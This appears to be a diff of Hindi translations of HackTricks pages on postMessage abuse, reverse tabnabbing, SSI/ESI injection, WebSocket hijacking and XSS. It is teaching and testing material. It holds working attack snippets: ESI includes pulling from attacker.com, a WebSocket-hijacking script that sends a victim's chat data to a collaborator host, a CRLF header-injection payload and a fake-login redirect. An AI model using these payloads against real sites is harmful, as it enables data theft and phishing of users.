|
||||
ऐसे परिदृश्यों में, आप अभी भी एक कम छिपे हुए हमले का उपयोग कर सकते हैं। आप कमजोर वेब एप्लिकेशन के लिए एक नया टैब खोल सकते हैं और इसके साथ संवाद कर सकते हैं:
|
||||
```markup
|
||||
उन परिदृश्यों में, आप अभी भी एक कम छिपे हुए हमले का उपयोग कर सकते हैं। आप कमजोर वेब एप्लिकेशन के लिए एक नया टैब खोल सकते हैं और इसके साथ संवाद कर सकते हैं:
|
||||
```html
|
||||
<script>
|
||||
var w=window.open("<url>")
|
||||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
@ -167,15 +167,15 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
```
|
||||
### बच्चे को भेजे गए संदेश को मुख्य पृष्ठ को ब्लॉक करके चुराना
|
||||
|
||||
निम्नलिखित पृष्ठ में आप देख सकते हैं कि आप कैसे **संवेदनशील postmessage डेटा** को **बच्चे के iframe** में चुरा सकते हैं, मुख्य पृष्ठ को डेटा भेजने से पहले **ब्लॉक** करके और बच्चे में **XSS का दुरुपयोग** करके डेटा को रिसीव होने से पहले **लीक** कर सकते हैं:
|
||||
निम्नलिखित पृष्ठ में आप देख सकते हैं कि आप **मुख्य** पृष्ठ को डेटा भेजने से पहले **ब्लॉक** करके **सेंसिटिव पोस्टमैसेज डेटा** को **चाइल्ड आईफ्रेम** में कैसे चुरा सकते हैं और **चाइल्ड में XSS** का दुरुपयोग करके डेटा को रिसीव होने से पहले **लीक** कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
blocking-main-page-to-steal-postmessage.md
|
||||
{{#endref}}
|
||||
|
||||
### iframe स्थान को संशोधित करके संदेश चुराना
|
||||
### आईफ्रेम स्थान को संशोधित करके संदेश चुराना
|
||||
|
||||
यदि आप बिना X-Frame-Header के एक वेबपृष्ठ को iframe कर सकते हैं जिसमें एक और iframe है, तो आप उस बच्चे के iframe का **स्थान बदल सकते हैं**, इसलिए यदि यह एक **postmessage** प्राप्त कर रहा है जो **wildcard** का उपयोग करके भेजा गया है, तो एक हमलावर उस iframe का **origin** एक पृष्ठ में **बदल सकता है** जो उसके द्वारा **नियंत्रित** है और संदेश को **चुरा सकता है**:
|
||||
यदि आप बिना X-Frame-Header के एक वेबपृष्ठ को आईफ्रेम कर सकते हैं जिसमें एक और आईफ्रेम है, तो आप उस चाइल्ड आईफ्रेम का **स्थान बदल** सकते हैं, इसलिए यदि यह एक **पोस्टमैसेज** प्राप्त कर रहा है जो **वाइल्डकार्ड** का उपयोग करके भेजा गया है, तो एक हमलावर उस आईफ्रेम का **उत्पत्ति** एक पृष्ठ में **बदल** सकता है जो उसके द्वारा **नियंत्रित** है और संदेश को **चुरा** सकता है:
|
||||
|
||||
{{#ref}}
|
||||
steal-postmessage-modifying-iframe-location.md
|
||||
@ -183,11 +183,11 @@ steal-postmessage-modifying-iframe-location.md
|
||||
|
||||
### postMessage से प्रोटोटाइप प्रदूषण और/या XSS
|
||||
|
||||
ऐसे परिदृश्यों में जहां `postMessage` के माध्यम से भेजा गया डेटा JS द्वारा निष्पादित होता है, आप **पृष्ठ** को **iframe** कर सकते हैं और **प्रोटोटाइप प्रदूषण/XSS** का **दुरुपयोग** कर सकते हैं, जो कि `postMessage` के माध्यम से भेजा गया है।
|
||||
उन परिदृश्यों में जहां `postMessage` के माध्यम से भेजा गया डेटा JS द्वारा निष्पादित होता है, आप **पृष्ठ** को **आईफ्रेम** कर सकते हैं और **प्रोटोटाइप प्रदूषण/XSS** का **दुरुपयोग** कर सकते हैं, जो कि `postMessage` के माध्यम से एक्सप्लॉइट भेजकर किया जाता है।
|
||||
|
||||
कुछ **बहुत अच्छे तरीके से समझाए गए XSS `postMessage` के माध्यम से** [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) में पाए जा सकते हैं।
|
||||
**पोस्टमैसेज के माध्यम से XSS** के कुछ **बहुत अच्छे समझाए गए उदाहरण** [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) में पाए जा सकते हैं।
|
||||
|
||||
एक उदाहरण एक **प्रोटोटाइप प्रदूषण और फिर XSS** का दुरुपयोग करने के लिए `postMessage` के माध्यम से एक `iframe` में:
|
||||
एक `iframe` के लिए `postMessage` के माध्यम से **प्रोटोटाइप प्रदूषण और फिर XSS** का दुरुपयोग करने का एक उदाहरण:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
||||
@ -1,33 +1,33 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# विवरण
|
||||
# Description
|
||||
|
||||
एक स्थिति में जहां एक **हमलावर** **`href`** तर्क को **नियंत्रित** कर सकता है **`<a`** टैग के साथ विशेषता **`target="_blank" rel="opener"`** जिसे एक पीड़ित द्वारा क्लिक किया जाने वाला है, **हमलावर** इस **लिंक** को एक वेब पर इंगित करता है जो उसके नियंत्रण में है (एक **दुष्ट** **वेबसाइट**)। फिर, जब **पीड़ित क्लिक करता है** लिंक पर और हमलावर की वेबसाइट तक पहुँचता है, यह **दुष्ट** **वेबसाइट** **`window.opener`** जावास्क्रिप्ट ऑब्जेक्ट के माध्यम से **मूल** **पृष्ठ** को **नियंत्रित** करने में सक्षम होगी।\
|
||||
यदि पृष्ठ में **`rel="opener"` नहीं है लेकिन `target="_blank"` है और `rel="noopener"` नहीं है** तो यह भी कमजोर हो सकता है।
|
||||
एक स्थिति में जहां एक **attacker** **`href`** तर्क को **`<a`** टैग के साथ विशेषता **`target="_blank" rel="opener"`** को नियंत्रित कर सकता है जिसे एक पीड़ित द्वारा क्लिक किया जाने वाला है, **attacker** इस **link** को एक वेब पर इंगित करता है जो उसके नियंत्रण में है (एक **malicious** **website**)। फिर, जब **victim** लिंक पर क्लिक करता है और हमलावर की वेबसाइट तक पहुंचता है, तो यह **malicious** **website** **`window.opener`** जावास्क्रिप्ट ऑब्जेक्ट के माध्यम से **original** **page** को **control** करने में सक्षम होगी।\
|
||||
यदि पृष्ठ में **`rel="opener"` नहीं है लेकिन `target="_blank"` है और इसमें `rel="noopener"` नहीं है**, तो यह भी कमजोर हो सकता है।
|
||||
|
||||
इस व्यवहार का दुरुपयोग करने का एक सामान्य तरीका होगा **मूल वेब का स्थान बदलना** `window.opener.location = https://attacker.com/victim.html` एक ऐसी वेब पर जो हमलावर द्वारा नियंत्रित है जो **मूल एक जैसा दिखता है**, ताकि यह **मूल वेबसाइट** के **लॉगिन** **फॉर्म** की **नकल** कर सके और उपयोगकर्ता से क्रेडेंशियल्स मांग सके।
|
||||
इस व्यवहार का दुरुपयोग करने का एक सामान्य तरीका होगा **`window.opener.location = https://attacker.com/victim.html`** के माध्यम से **original web** के स्थान को बदलना, एक ऐसी वेब पर जो हमलावर द्वारा नियंत्रित है जो **original one** की तरह दिखती है, ताकि यह **original website** के **login** **form** की **imitate** कर सके और उपयोगकर्ता से क्रेडेंशियल्स मांग सके।
|
||||
|
||||
हालांकि, ध्यान दें कि चूंकि **हमलावर अब मूल वेबसाइट के विंडो ऑब्जेक्ट को नियंत्रित कर सकता है**, वह इसे अन्य तरीकों से **गुप्त हमलों** को करने के लिए दुरुपयोग कर सकता है (शायद जावास्क्रिप्ट घटनाओं को संशोधित करके जानकारी को उसके द्वारा नियंत्रित सर्वर पर निकालने के लिए?)
|
||||
हालांकि, ध्यान दें कि चूंकि **attacker अब मूल वेबसाइट के विंडो ऑब्जेक्ट को नियंत्रित कर सकता है**, वह इसे अन्य तरीकों से **stealthier attacks** करने के लिए दुरुपयोग कर सकता है (शायद जावास्क्रिप्ट घटनाओं को संशोधित करके जानकारी को उसके द्वारा नियंत्रित सर्वर पर निकालना?)
|
||||
|
||||
# अवलोकन
|
||||
# Overview
|
||||
|
||||
## बैक लिंक के साथ
|
||||
## With back link
|
||||
|
||||
जब रोकथाम विशेषता का उपयोग नहीं किया जाता है तो माता-पिता और बच्चे के पृष्ठों के बीच लिंक:
|
||||
|
||||

|
||||
|
||||
## बैक लिंक के बिना
|
||||
## Without back link
|
||||
|
||||
जब रोकथाम विशेषता का उपयोग किया जाता है तो माता-पिता और बच्चे के पृष्ठों के बीच लिंक:
|
||||
|
||||

|
||||
|
||||
## उदाहरण <a href="#examples" id="examples"></a>
|
||||
## Examples <a href="#examples" id="examples"></a>
|
||||
|
||||
एक फ़ोल्डर में निम्नलिखित पृष्ठ बनाएं और `python3 -m http.server` के साथ एक वेब सर्वर चलाएं\
|
||||
फिर, **पहुँचें** `http://127.0.0.1:8000/`vulnerable.html, **क्लिक करें** लिंक पर और नोट करें कि **मूल** **वेबसाइट** **यूआरएल** **कैसे बदलता है**।
|
||||
```markup:vulnerable.html
|
||||
एक फ़ोल्डर में निम्नलिखित पृष्ठ बनाएं और `python3 -m http.server` के साथ एक वेब सर्वर चलाएं।\
|
||||
फिर, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** करें लिंक पर और नोट करें कि **original** **website** **URL** **changes**।
|
||||
```html:vulnerable.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -37,7 +37,7 @@
|
||||
</html>
|
||||
```
|
||||
|
||||
```markup:malicious.html
|
||||
```html:malicious.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -48,7 +48,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||||
</html>
|
||||
```
|
||||
|
||||
```markup:malicious_redir.html
|
||||
```html:malicious_redir.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -58,17 +58,17 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||||
```
|
||||
## Accessible properties <a href="#accessible-properties" id="accessible-properties"></a>
|
||||
|
||||
उस परिदृश्य में जहाँ **cross-origin** पहुँच होती है (विभिन्न डोमेन के बीच पहुँच), **opener** जावास्क्रिप्ट ऑब्जेक्ट संदर्भ द्वारा संदर्भित **window** जावास्क्रिप्ट क्लास इंस्टेंस की विशेषताएँ, जिन्हें एक दुर्भावनापूर्ण साइट द्वारा पहुँचा जा सकता है, निम्नलिखित तक सीमित हैं:
|
||||
उस परिदृश्य में जहाँ **cross-origin** पहुँच होती है (विभिन्न डोमेन के बीच पहुँच), **opener** JavaScript ऑब्जेक्ट संदर्भ द्वारा संदर्भित **window** JavaScript क्लास उदाहरण की विशेषताएँ, जिन्हें एक दुर्भावनापूर्ण साइट द्वारा पहुँचा जा सकता है, निम्नलिखित तक सीमित हैं:
|
||||
|
||||
- **`opener.closed`**: इस विशेषता का उपयोग यह निर्धारित करने के लिए किया जाता है कि क्या एक विंडो बंद हो गई है, जो एक बूलियन मान लौटाती है।
|
||||
- **`opener.frames`**: यह विशेषता वर्तमान विंडो के भीतर सभी iframe तत्वों तक पहुँच प्रदान करती है।
|
||||
- **`opener.length`**: वर्तमान विंडो में उपस्थित iframe तत्वों की संख्या इस विशेषता द्वारा लौटाई जाती है।
|
||||
- **`opener.length`**: वर्तमान विंडो में मौजूद iframe तत्वों की संख्या इस विशेषता द्वारा लौटाई जाती है।
|
||||
- **`opener.opener`**: इस विशेषता के माध्यम से वर्तमान विंडो को खोलने वाली विंडो का संदर्भ प्राप्त किया जा सकता है।
|
||||
- **`opener.parent`**: यह विशेषता वर्तमान विंडो के माता-पिता विंडो को लौटाती है।
|
||||
- **`opener.self`**: इस विशेषता द्वारा वर्तमान विंडो तक पहुँच प्रदान की जाती है।
|
||||
- **`opener.top`**: यह विशेषता सबसे ऊपरी ब्राउज़र विंडो को लौटाती है।
|
||||
|
||||
हालांकि, उन मामलों में जहाँ डोमेन समान होते हैं, दुर्भावनापूर्ण साइट को [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) जावास्क्रिप्ट ऑब्जेक्ट संदर्भ द्वारा उजागर की गई सभी विशेषताओं तक पहुँच प्राप्त होती है।
|
||||
हालांकि, जब डोमेन समान होते हैं, तो दुर्भावनापूर्ण साइट को [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript ऑब्जेक्ट संदर्भ द्वारा उजागर की गई सभी विशेषताओं तक पहुँच मिलती है।
|
||||
|
||||
# Prevention
|
||||
|
||||
|
||||
@ -15,9 +15,9 @@ SSI (Server Side Includes) वे निर्देश हैं जो **HTML
|
||||
|
||||
`Tuesday, 15-Jan-2013 19:28:54 EST`
|
||||
|
||||
SSI का उपयोग कब करना है, और कब आपके पृष्ठ को पूरी तरह से किसी प्रोग्राम द्वारा उत्पन्न किया जाना चाहिए, यह आमतौर पर इस बात पर निर्भर करता है कि पृष्ठ का कितना हिस्सा स्थिर है, और कितना हर बार पृष्ठ परोसने पर पुनः गणना करने की आवश्यकता है। SSI छोटी जानकारी के टुकड़े जोड़ने का एक शानदार तरीका है, जैसे कि वर्तमान समय - जो ऊपर दिखाया गया है। लेकिन यदि आपके पृष्ठ का अधिकांश भाग उस समय उत्पन्न हो रहा है जब इसे परोसा जा रहा है, तो आपको किसी अन्य समाधान की तलाश करनी होगी।
|
||||
SSI का उपयोग कब करना है, और कब आपके पृष्ठ को पूरी तरह से किसी प्रोग्राम द्वारा उत्पन्न किया जाना चाहिए, यह आमतौर पर इस बात का मामला होता है कि पृष्ठ का कितना हिस्सा स्थिर है, और कितना हर बार पृष्ठ परोसने पर पुनः गणना करने की आवश्यकता है। SSI छोटी जानकारी के टुकड़े जोड़ने का एक शानदार तरीका है, जैसे कि वर्तमान समय - जो ऊपर दिखाया गया है। लेकिन यदि आपके पृष्ठ का अधिकांश भाग उस समय उत्पन्न हो रहा है जब इसे परोसा जा रहा है, तो आपको किसी अन्य समाधान की तलाश करनी होगी।
|
||||
|
||||
आप SSI की उपस्थिति का अनुमान लगा सकते हैं यदि वेब एप्लिकेशन **`.shtml`, `.shtm` या `.stm`** एक्सटेंशन वाले फ़ाइलों का उपयोग करता है, लेकिन यह केवल यही मामला नहीं है।
|
||||
आप SSI की उपस्थिति का अनुमान लगा सकते हैं यदि वेब एप्लिकेशन उन फ़ाइलों का उपयोग करता है जिनके एक्सटेंशन **`.shtml`, `.shtm` या `.stm`** हैं, लेकिन यह केवल यही मामला नहीं है।
|
||||
|
||||
एक सामान्य SSI अभिव्यक्ति का निम्नलिखित प्रारूप होता है:
|
||||
```
|
||||
@ -57,7 +57,7 @@ SSI का उपयोग कब करना है, और कब आपक
|
||||
## Edge Side Inclusion
|
||||
|
||||
एक समस्या **जानकारी या गतिशील अनुप्रयोगों को कैश करना** है क्योंकि सामग्री का एक भाग अगले बार सामग्री को पुनः प्राप्त करते समय **भिन्न** हो सकता है। यही कारण है कि **ESI** का उपयोग किया जाता है, ESI टैग का उपयोग करके यह संकेत करने के लिए कि **गतिशील सामग्री जो उत्पन्न की जानी चाहिए** उसे कैश संस्करण भेजने से पहले उत्पन्न किया जाना चाहिए।\
|
||||
यदि एक **हमलावर** कैश सामग्री के अंदर **एक ESI टैग इंजेक्ट** करने में सक्षम है, तो वह दस्तावेज़ पर **मनमाना सामग्री** इंजेक्ट करने में सक्षम हो सकता है इससे पहले कि इसे उपयोगकर्ताओं को भेजा जाए।
|
||||
यदि एक **हमलावर** कैश सामग्री के अंदर **एक ESI टैग** इंजेक्ट करने में सक्षम है, तो वह दस्तावेज़ पर **मनमाना सामग्री** इंजेक्ट करने में सक्षम हो सकता है इससे पहले कि इसे उपयोगकर्ताओं को भेजा जाए।
|
||||
|
||||
### ESI Detection
|
||||
|
||||
@ -89,7 +89,7 @@ hell<!--esi-->o
|
||||
```
|
||||
### ESI शोषण
|
||||
|
||||
[GoSecure ने बनाया](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) एक तालिका ताकि हम विभिन्न ESI-सक्षम सॉफ़्टवेयर के खिलाफ संभावित हमलों को समझ सकें, जो समर्थित कार्यक्षमता पर निर्भर करता है:
|
||||
[GoSecure ने](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) विभिन्न ESI-सक्षम सॉफ़्टवेयर के खिलाफ संभावित हमलों को समझने के लिए एक तालिका बनाई है, जो समर्थित कार्यक्षमता पर निर्भर करती है:
|
||||
|
||||
- **Includes**: `<esi:includes>` निर्देश का समर्थन करता है
|
||||
- **Vars**: `<esi:vars>` निर्देश का समर्थन करता है। XSS फ़िल्टर को बायपास करने के लिए उपयोगी
|
||||
@ -108,7 +108,7 @@ hell<!--esi-->o
|
||||
|
||||
#### XSS
|
||||
|
||||
निम्नलिखित ESI निर्देश सर्वर के प्रतिक्रिया के अंदर एक मनमाना फ़ाइल लोड करेगा
|
||||
निम्नलिखित ESI निर्देश सर्वर के उत्तर के अंदर एक मनमाना फ़ाइल लोड करेगा
|
||||
```xml
|
||||
<esi:include src=http://attacker.com/xss.html>
|
||||
```
|
||||
@ -139,11 +139,11 @@ Use <!--esi--> to bypass WAFs:
|
||||
#### Private Local File
|
||||
|
||||
इसको "Local File Inclusion" के साथ भ्रमित न करें:
|
||||
```markup
|
||||
```html
|
||||
<esi:include src="secret.txt">
|
||||
```
|
||||
#### CRLF
|
||||
```markup
|
||||
```html
|
||||
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
||||
```
|
||||
#### Open Redirect
|
||||
@ -205,7 +205,7 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
- [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
|
||||
- [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
|
||||
|
||||
## ब्रूट-फोर्स पहचान सूची
|
||||
## ब्रूट-फोर्स डिटेक्शन सूची
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## What are WebSockets
|
||||
|
||||
WebSocket कनेक्शन एक प्रारंभिक **HTTP** हैंडशेक के माध्यम से स्थापित होते हैं और इन्हें **दीर्घकालिक** होने के लिए डिज़ाइन किया गया है, जो किसी भी समय द्विदिश संचार की अनुमति देता है बिना लेन-देन प्रणाली की आवश्यकता के। यह WebSockets को उन अनुप्रयोगों के लिए विशेष रूप से फायदेमंद बनाता है जो **कम विलंबता या सर्वर-प्रारंभित संचार** की आवश्यकता होती है, जैसे कि लाइव वित्तीय डेटा स्ट्रीम।
|
||||
WebSocket कनेक्शन एक प्रारंभिक **HTTP** हैंडशेक के माध्यम से स्थापित होते हैं और इन्हें **दीर्घकालिक** होने के लिए डिज़ाइन किया गया है, जो किसी भी समय द्विदिशीय संदेश भेजने की अनुमति देता है बिना लेन-देन प्रणाली की आवश्यकता के। यह WebSockets को उन अनुप्रयोगों के लिए विशेष रूप से फायदेमंद बनाता है जो **कम विलंबता या सर्वर-प्रारंभित संचार** की आवश्यकता होती है, जैसे कि लाइव वित्तीय डेटा स्ट्रीम।
|
||||
|
||||
### Establishment of WebSocket Connections
|
||||
|
||||
@ -33,20 +33,20 @@ Connection: Upgrade
|
||||
Upgrade: websocket
|
||||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||||
```
|
||||
एक बार स्थापित होने के बाद, कनेक्शन दोनों दिशाओं में संदेशों के आदान-प्रदान के लिए खुला रहता है।
|
||||
कनेक्शन स्थापित होने के बाद संदेशों के आदान-प्रदान के लिए दोनों दिशाओं में खुला रहता है।
|
||||
|
||||
**WebSocket हैंडशेक के मुख्य बिंदु:**
|
||||
|
||||
- `Connection` और `Upgrade` हेडर WebSocket हैंडशेक की शुरुआत का संकेत देते हैं।
|
||||
- `Sec-WebSocket-Version` हेडर वांछित WebSocket प्रोटोकॉल संस्करण को इंगित करता है, जो आमतौर पर `13` होता है।
|
||||
- `Sec-WebSocket-Key` हेडर में एक Base64-कोडित यादृच्छिक मान भेजा जाता है, यह सुनिश्चित करते हुए कि प्रत्येक हैंडशेक अद्वितीय है, जो कैशिंग प्रॉक्सी के साथ समस्याओं को रोकने में मदद करता है। यह मान प्रमाणीकरण के लिए नहीं है, बल्कि यह पुष्टि करने के लिए है कि प्रतिक्रिया किसी गलत कॉन्फ़िगर किए गए सर्वर या कैश द्वारा उत्पन्न नहीं की गई है।
|
||||
- `Sec-WebSocket-Version` हेडर वांछित WebSocket प्रोटोकॉल संस्करण को दर्शाता है, जो आमतौर पर `13` होता है।
|
||||
- `Sec-WebSocket-Key` हेडर में एक Base64-कोडित यादृच्छिक मान भेजा जाता है, यह सुनिश्चित करते हुए कि प्रत्येक हैंडशेक अद्वितीय है, जो कैशिंग प्रॉक्सी के साथ समस्याओं को रोकने में मदद करता है। यह मान प्रमाणीकरण के लिए नहीं है बल्कि यह पुष्टि करने के लिए है कि प्रतिक्रिया किसी गलत कॉन्फ़िगर किए गए सर्वर या कैश द्वारा उत्पन्न नहीं की गई है।
|
||||
- सर्वर की प्रतिक्रिया में `Sec-WebSocket-Accept` हेडर `Sec-WebSocket-Key` का एक हैश है, जो सर्वर के WebSocket कनेक्शन खोलने के इरादे की पुष्टि करता है।
|
||||
|
||||
ये विशेषताएँ सुनिश्चित करती हैं कि हैंडशेक प्रक्रिया सुरक्षित और विश्वसनीय है, जो कुशल वास्तविक समय संचार के लिए मार्ग प्रशस्त करती है।
|
||||
|
||||
### Linux कंसोल
|
||||
|
||||
आप `websocat` का उपयोग करके websocket के साथ एक कच्चा कनेक्शन स्थापित कर सकते हैं।
|
||||
आप `websocat` का उपयोग करके एक websocket के साथ कच्चा कनेक्शन स्थापित कर सकते हैं।
|
||||
```bash
|
||||
websocat --insecure wss://10.10.10.10:8000 -v
|
||||
```
|
||||
@ -70,7 +70,7 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
- **Burp Suite** MitM websockets संचार का समर्थन करता है जिस तरह से यह नियमित HTTP संचार के लिए करता है।
|
||||
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite एक्सटेंशन** आपको Burp में Websocket संचार को बेहतर ढंग से प्रबंधित करने की अनुमति देगा, **history** प्राप्त करके, **interception rules** सेट करके, **match and replace** नियमों का उपयोग करके, **Intruder** और **AutoRepeater** का उपयोग करके।
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**" के लिए संक्षिप्त, यह उपकरण, जो Node.js में लिखा गया है, **कैप्चर, इंटरसेप्ट, कस्टम** संदेश भेजने और क्लाइंट और सर्वर के बीच सभी WebSocket और Socket.IO संचार को देखने के लिए एक उपयोगकर्ता इंटरफ़ेस प्रदान करता है।
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) एक **interactive websocket REPL** है जिसे विशेष रूप से पेनट्रेशन टेस्टिंग के लिए डिज़ाइन किया गया है। यह **incoming websocket messages** को देखने और नए संदेश भेजने के लिए एक इंटरफ़ेस प्रदान करता है, जिसमें इस संचार को **automating** करने के लिए एक उपयोग में आसान ढांचा है।
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) एक **इंटरएक्टिव websocket REPL** है जिसे विशेष रूप से पेनट्रेशन टेस्टिंग के लिए डिज़ाइन किया गया है। यह **incoming websocket messages को देखने और नए संदेश भेजने** के लिए एक इंटरफ़ेस प्रदान करता है, जिसमें इस संचार को **automating** करने के लिए एक उपयोग में आसान ढांचा है।
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) यह **websockets** का उपयोग करके अन्य वेब के साथ संवाद करने के लिए एक **वेब** है।
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) अन्य प्रकार के संचार/प्रोटोकॉल के बीच, यह **websockets** का उपयोग करके अन्य वेब के साथ संवाद करने के लिए एक **वेब** प्रदान करता है।
|
||||
|
||||
@ -89,7 +89,7 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
ध्यान दें कि जब **websocket** कनेक्शन **स्थापित** किया जाता है तो **cookie** **सर्वर** को **भेजी** जाती है। **सर्वर** इसे **विशिष्ट** **उपयोगकर्ता** को उसके **websocket** **सत्र** से **संबंधित** करने के लिए उपयोग कर सकता है जो भेजी गई कुकी पर आधारित है।
|
||||
|
||||
फिर, यदि **उदाहरण** के लिए **websocket** **सर्वर** **एक उपयोगकर्ता की बातचीत का इतिहास वापस भेजता है** यदि एक msg "**READY"** भेजा जाता है, तो एक **simple XSS** कनेक्शन स्थापित करते हुए (**cookie** **स्वचालित रूप से** पीड़ित उपयोगकर्ता को अधिकृत करने के लिए **भेजी** जाएगी) "**READY**" भेजने से **बातचीत** का इतिहास **प्राप्त** कर सकेगा।
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
websocket.onopen = start
|
||||
@ -105,11 +105,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
```
|
||||
### क्रॉस ओरिजिन + एक अलग सबडोमेन के साथ कुकी
|
||||
|
||||
इस ब्लॉग पोस्ट में [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) हमलावर ने **एक सबडोमेन में मनमाना Javascript निष्पादित करने में सफल रहा** जहाँ वेब सॉकेट संचार हो रहा था। चूंकि यह **सबडोमेन** था, **कुकी** **भेजी जा रही थी**, और चूंकि **वेबसॉकेट ने ओरिजिन को ठीक से नहीं चेक किया**, इसके साथ संवाद करना और **इससे टोकन चुराना** संभव था।
|
||||
इस ब्लॉग पोस्ट में [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) हमलावर ने **एक सबडोमेन में मनमाना Javascript निष्पादित करने में सफल रहा** जहाँ वेब सॉकेट संचार हो रहा था। चूंकि यह **सबडोमेन** था, **कुकी** **भेजी जा रही थी**, और चूंकि **वेब सॉकेट ने ओरिजिन को ठीक से नहीं चेक किया**, इसके साथ संवाद करना और **इससे टोकन चुराना** संभव था।
|
||||
|
||||
### उपयोगकर्ता से डेटा चुराना
|
||||
|
||||
आप जिस वेब एप्लिकेशन की नकल करना चाहते हैं उसे कॉपी करें (उदाहरण के लिए .html फ़ाइलें) और उस स्क्रिप्ट के अंदर जहाँ वेब सॉकेट संचार हो रहा है, यह कोड जोड़ें:
|
||||
वेब एप्लिकेशन की कॉपी करें जिसे आप अनुकरण करना चाहते हैं (उदाहरण के लिए .html फ़ाइलें) और उस स्क्रिप्ट के अंदर जहाँ वेब सॉकेट संचार हो रहा है, यह कोड जोड़ें:
|
||||
```javascript
|
||||
//This is the script tag to load the websocket hooker
|
||||
;<script src="wsHook.js"></script>
|
||||
|
||||
@ -25,7 +25,7 @@
|
||||
4. Javascript **कार्य** जो **निष्पादित** हो रहा है:
|
||||
1. आप निष्पादित करने के लिए कार्य का नाम निर्दिष्ट कर सकते हैं। उदाहरण: `?callback=alert(1)`
|
||||
4. यदि **उपयोग किया गया**:
|
||||
1. आप एक **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित किया जा रहा है और क्या आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।**
|
||||
1. आप एक **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित है और क्या आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।**
|
||||
|
||||
जब आप एक जटिल XSS पर काम कर रहे हों, तो जानना दिलचस्प हो सकता है:
|
||||
|
||||
@ -47,17 +47,17 @@ XSS का सफलतापूर्वक शोषण करने के
|
||||
|
||||
### कच्चा HTML
|
||||
|
||||
यदि आपका इनपुट **कच्चे HTML** पृष्ठ पर **परिलक्षित** होता है, तो आपको JS कोड निष्पादित करने के लिए कुछ **HTML टैग** का दुरुपयोग करना होगा: `<img , <iframe , <svg , <script` ... ये कुछ संभावित HTML टैग हैं जिनका आप उपयोग कर सकते हैं।\
|
||||
यदि आपका इनपुट **कच्चे HTML** पृष्ठ पर **परिलक्षित** है, तो आपको JS कोड निष्पादित करने के लिए कुछ **HTML टैग** का दुरुपयोग करना होगा: `<img , <iframe , <svg , <script` ... ये कुछ संभावित HTML टैग हैं जिनका आप उपयोग कर सकते हैं।\
|
||||
इसके अलावा, [क्लाइंट साइड टेम्पलेट इंजेक्शन](../client-side-template-injection-csti.md) को ध्यान में रखें।
|
||||
|
||||
### HTML टैग विशेषता के अंदर
|
||||
|
||||
यदि आपका इनपुट किसी टैग की विशेषता के मान के अंदर परिलक्षित होता है, तो आप कोशिश कर सकते हैं:
|
||||
यदि आपका इनपुट किसी टैग की विशेषता के मान के अंदर परिलक्षित है, तो आप कोशिश कर सकते हैं:
|
||||
|
||||
1. **विशेषता और टैग से बाहर निकलने के लिए** (फिर आप कच्चे HTML में होंगे) और दुरुपयोग के लिए नया HTML टैग बनाएं: `"><img [...]`
|
||||
1. **विशेषता और टैग से बाहर निकलने** के लिए (फिर आप कच्चे HTML में होंगे) और दुरुपयोग के लिए नया HTML टैग बनाएं: `"><img [...]`
|
||||
